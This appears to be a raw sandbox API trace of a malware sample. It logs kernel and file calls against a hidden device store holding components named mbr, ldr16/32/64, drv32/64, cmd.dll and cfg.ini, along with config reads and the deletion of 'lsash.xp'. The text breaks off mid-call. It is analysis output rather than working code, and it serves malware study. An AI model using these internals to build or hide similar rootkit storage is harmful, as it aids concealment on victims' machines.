KeEnterCriticalRegion () [0128.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.425] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.425] IdePortDispatch () returned 0x103 [0128.425] KeWaitForMutexObject () returned 0x0 [0128.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.425] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.425] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.425] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.425] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.425] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe460 [0128.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.425] KeLeaveCriticalRegion () [0128.425] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.425] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.425] KeEnterCriticalRegion () [0128.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.426] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.426] KeLeaveCriticalRegion () [0128.426] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.426] KeEnterCriticalRegion () [0128.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.426] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.426] IdePortDispatch () returned 0x103 [0128.426] KeWaitForMutexObject () returned 0x0 [0128.426] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.426] KeLeaveCriticalRegion () [0128.426] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.426] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.426] KeEnterCriticalRegion () [0128.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.426] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c0000 [0128.426] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.426] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.426] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.426] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.426] IdePortDispatch () returned 0x103 [0128.427] KeWaitForMutexObject () returned 0x0 [0128.427] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.427] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.427] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.427] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.427] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.427] IdePortDispatch () returned 0x103 [0128.427] KeWaitForMutexObject () returned 0x0 [0128.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.427] KeLeaveCriticalRegion () [0128.427] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.427] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.427] KeEnterCriticalRegion () [0128.427] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.427] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.427] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.427] KeLeaveCriticalRegion () [0128.428] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.428] KeEnterCriticalRegion () [0128.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.428] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.428] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.428] KeLeaveCriticalRegion () [0128.428] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.428] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.428] KeEnterCriticalRegion () [0128.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.428] ExFreePoolWithTag (P=0xfffffa8003bfe460, Tag=0x0) [0128.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.428] KeLeaveCriticalRegion () [0128.428] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.428] ReleaseMutex (hMutex=0xf0) returned 1 [0128.428] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.428] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.428] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.428] KeEnterCriticalRegion () [0128.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.428] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.428] IdePortDispatch () returned 0x103 [0128.428] KeWaitForMutexObject () returned 0x0 [0128.428] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.428] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.428] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.428] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.428] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.428] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac49b0 [0128.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.428] KeLeaveCriticalRegion () [0128.428] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.428] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.429] KeEnterCriticalRegion () [0128.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.429] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.429] KeLeaveCriticalRegion () [0128.429] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.429] KeEnterCriticalRegion () [0128.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.429] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.429] IdePortDispatch () returned 0x103 [0128.429] KeWaitForMutexObject () returned 0x0 [0128.429] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.429] KeLeaveCriticalRegion () [0128.429] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.429] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.429] KeEnterCriticalRegion () [0128.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.429] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c1000 [0128.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.429] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.429] IdePortDispatch () returned 0x103 [0128.429] KeWaitForMutexObject () returned 0x0 [0128.429] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.430] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.430] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.430] IdePortDispatch () returned 0x103 [0128.430] KeWaitForMutexObject () returned 0x0 [0128.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.430] KeLeaveCriticalRegion () [0128.430] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.430] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.430] KeEnterCriticalRegion () [0128.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.430] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.430] KeLeaveCriticalRegion () [0128.430] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.430] KeEnterCriticalRegion () [0128.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.430] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.430] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.430] KeLeaveCriticalRegion () [0128.431] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.431] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.431] KeEnterCriticalRegion () [0128.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.431] ExFreePoolWithTag (P=0xfffffa8003ac49b0, Tag=0x0) [0128.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.431] KeLeaveCriticalRegion () [0128.431] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.431] ReleaseMutex (hMutex=0xf0) returned 1 [0128.431] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.431] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.431] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.431] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.431] KeEnterCriticalRegion () [0128.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.431] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.431] IdePortDispatch () returned 0x103 [0128.431] KeWaitForMutexObject () returned 0x0 [0128.431] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.431] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.431] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.431] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.431] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.431] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.431] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.431] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.431] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.431] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.431] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.431] KeLeaveCriticalRegion () [0128.431] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.432] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.432] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.432] KeEnterCriticalRegion () [0128.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.432] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.432] IdePortDispatch () returned 0x103 [0128.432] KeWaitForMutexObject () returned 0x0 [0128.432] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.432] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.432] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.432] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.432] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.432] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.432] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.432] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.432] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.432] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.432] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.432] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.432] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.432] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.432] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.432] KeLeaveCriticalRegion () [0128.432] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.432] ReleaseMutex (hMutex=0x100) returned 1 [0128.432] Sleep (dwMilliseconds=0x2bf20) [0128.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fbfb030, dwHighDateTime=0x1d24fa4)) [0128.441] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.441] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.441] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.441] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.441] KeEnterCriticalRegion () [0128.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.441] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.441] IdePortDispatch () returned 0x103 [0128.441] KeWaitForMutexObject () returned 0x0 [0128.442] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.442] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.442] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.442] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.442] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.442] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff910 [0128.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.442] KeLeaveCriticalRegion () [0128.442] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.442] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.442] KeEnterCriticalRegion () [0128.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.442] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.442] KeLeaveCriticalRegion () [0128.442] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.442] KeEnterCriticalRegion () [0128.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.442] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.442] IdePortDispatch () returned 0x103 [0128.442] KeWaitForMutexObject () returned 0x0 [0128.443] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.443] KeLeaveCriticalRegion () [0128.443] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.443] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.443] KeEnterCriticalRegion () [0128.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.443] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c4000 [0128.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.443] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.443] IdePortDispatch () returned 0x103 [0128.443] KeWaitForMutexObject () returned 0x0 [0128.443] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.443] IoAllocateMdl (in: 